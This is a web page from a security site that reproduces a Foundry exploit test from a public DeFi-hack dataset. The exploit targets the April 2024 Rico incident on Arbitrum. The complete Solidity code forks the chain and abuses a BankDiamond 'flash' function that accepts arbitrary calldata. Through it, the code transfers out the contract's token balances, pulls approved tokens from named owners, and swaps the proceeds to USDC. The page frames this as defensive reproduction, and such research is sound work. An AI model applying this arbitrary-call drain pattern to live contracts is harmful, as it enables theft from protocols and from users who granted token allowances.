Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/Rico_exp.sol

Public reproduction file for dataset entry Rico.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/Rico_exp.sol118 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 36K
8// Attacker : https://arbiscan.io/address/0xc91cb089084f0126458a1938b794aa73b9f9189d
9// Attack Contract : https://arbiscan.io/address/0x68d843d31de072390d41bff30b0076bef0482d8f
10// Vulnerable Contract : https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b
11// Attack Tx : https://arbiscan.io/tx/0x5d2a94785d95a740ec5f778e79ff014c880bcefec70d1a7c2440e611f84713d6
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://twitter.com/0xlouistsai/status/1781845191047164016
19// Hacking God :
21interface IBankDiamond {
22 function flash(address, bytes calldata) external returns (bytes memory result);
25contract Rico is Test {
26 uint256 blocknumToForkFrom = 202_973_712;
28 address constant BankDiamond = 0x598C6c1cd9459F882530FC9D7dA438CB74C6CB3b;
29 address constant UniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
31 address constant USDC_TOKEN = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
32 address constant ARB_TOKEN = 0x912CE59144191C1204E64559FE8253a0e49E6548;
33 address constant LINK_TOKEN = 0xf97f4df75117a78c1A5a0DBb814Af92458539FB4;
34 address constant WSTETH_TOKEN = 0x5979D7b546E38E414F7E9822514be443A4800529;
35 address constant WETH_TOKEN = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
36 address constant ARB_USDC_TOEKN = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
38 function setUp() public {
39 vm.createSelectFork("arbitrum", blocknumToForkFrom);
40 }
42 function testExploit() public {
43 emit log_named_decimal_uint(
44 "Attacker USDC Balance Before exploit", IERC20(USDC_TOKEN).balanceOf(address(this)), 6
45 );
47 // Transfer tokens from BankDiamond to the attacker
48 transferTokens(USDC_TOKEN);
49 transferTokens(ARB_TOKEN);
50 transferTokens(LINK_TOKEN);
51 transferTokens(WSTETH_TOKEN);
52 transferTokens(WETH_TOKEN);
53 transferTokens(ARB_USDC_TOEKN);
55 // TransferFrom tokens from owners to the attacker
56 transferFromOwner(0x512E07A093aAA20Ba288392EaDF03838C7a4e522, USDC_TOKEN);
57 transferFromOwner(0x83eCCb05386B2d10D05e1BaEa8aC89b5B7EA8290, USDC_TOKEN);
58 transferFromOwner(0x7b782A4D552a8ceB3924005a786a1a358BA63f71, WSTETH_TOKEN);
60 // Swap tokens to USDC using UniV3Router
61 swapTokens(ARB_TOKEN);
62 swapTokens(LINK_TOKEN);
63 swapTokens(WSTETH_TOKEN);
64 swapTokens(WETH_TOKEN);
65 swapTokens(ARB_USDC_TOEKN);
67 // Log balances after exploit
68 emit log_named_decimal_uint(
69 "Attacker USDC Balance After exploit", IERC20(USDC_TOKEN).balanceOf(address(this)), 6
70 );
71 }
73 function _getTransferData(
74 address token
75 ) internal view returns (bytes memory data) {
76 uint256 tokenBalance = IERC20(token).balanceOf(BankDiamond);
77 data = abi.encodeWithSelector(IERC20.transfer.selector, address(this), tokenBalance);
78 }
80 function _getTransferFromData(address token, address user) internal view returns (bytes memory data) {
81 uint256 tokenBalance = IERC20(token).balanceOf(BankDiamond);
82 uint256 tokenAllowance = IERC20(token).allowance(user, BankDiamond);
83 if (tokenBalance >= tokenAllowance) {
84 data = abi.encodeWithSelector(IERC20.transferFrom.selector, user, address(this), tokenBalance);
85 }
86 }
88 function transferTokens(
89 address token
90 ) internal {
91 IBankDiamond(BankDiamond).flash(token, _getTransferData(token));
92 }
94 function transferFromOwner(address owner, address token) internal {
95 bytes memory callData = _getTransferFromData(token, owner);
96 if (callData.length > 0) {
97 IBankDiamond(BankDiamond).flash(token, callData);
98 }
99 }
101 function swapTokens(
102 address token
103 ) internal {
104 uint256 tokenBalance = IERC20(token).balanceOf(address(this));
105 IERC20(token).approve(UniV3Router, tokenBalance);
107 Uni_Router_V3.ExactInputSingleParams memory params;
108 params.tokenIn = token;
109 params.tokenOut = USDC_TOKEN;
110 params.fee = 3000;
111 params.recipient = address(this);
112 params.deadline = block.timestamp;
113 params.amountIn = tokenBalance;
114 params.amountOutMinimum = 0;
115 params.sqrtPriceLimitX96 = 0;
116 Uni_Router_V3(UniV3Router).exactInputSingle(params);
117 }

Analysis

Dataset entry

Public Foundry test for “Rico” (2024-04-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc91cb089084f0126458a1938b794aa73b9f9189d

  • Attack Contract

    0x68d843d31de072390d41bff30b0076bef0482d8f

  • Vulnerable Contract

    0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b

  • Attack Tx

    0x5d2a94785d95a740ec5f778e79ff014c880bcefec70d1a7c2440e611f84713d6

File record

Name
Rico
Path
src/test/2024-04/Rico_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0c0ef6eeef36c0edad66b450d7bc97e40f1d8e66
Language
Solidity
Size
119 lines
Date
2024-04-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/Rico_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0c0ef6eeef36c0edad66b450d7bc97e40f1d8e66, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.